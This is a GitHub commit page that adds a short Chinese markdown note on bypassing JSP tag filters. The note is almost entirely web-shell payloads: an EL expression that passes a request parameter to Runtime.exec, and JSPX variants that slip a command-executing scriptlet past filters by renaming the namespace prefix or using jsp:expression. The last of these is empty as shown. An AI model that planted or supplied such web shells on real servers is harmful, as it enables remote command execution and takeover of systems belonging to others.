We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent f798814 commit 61d5ce0Copy full SHA for 61d5ce0
1 file changed
java日常/jsp标签绕过.md
@@ -0,0 +1,27 @@
1
+# jsp标签绕过
2
+
3
+## el表达式
4
5
+```
6
+${Runtime.getRuntime().exec(param.cmd)}
7
8
9
+## jspx利用命名空间绕过
10
11
+```jsp
12
+<bbb:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
13
+<bbb:scriptlet>
14
+ Runtime.getRuntime().exec(request.getParameter('cmd'))
15
+ </bbb:scriptlet>
16
+</bbb:root>
17
18
19
+## jspx利用<jsp:expression>绕过
20
21
22
+<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
23
+<jsp:expression>
24
25
+ </jsp:expression>
26
+</jsp:root>
27
0 commit comments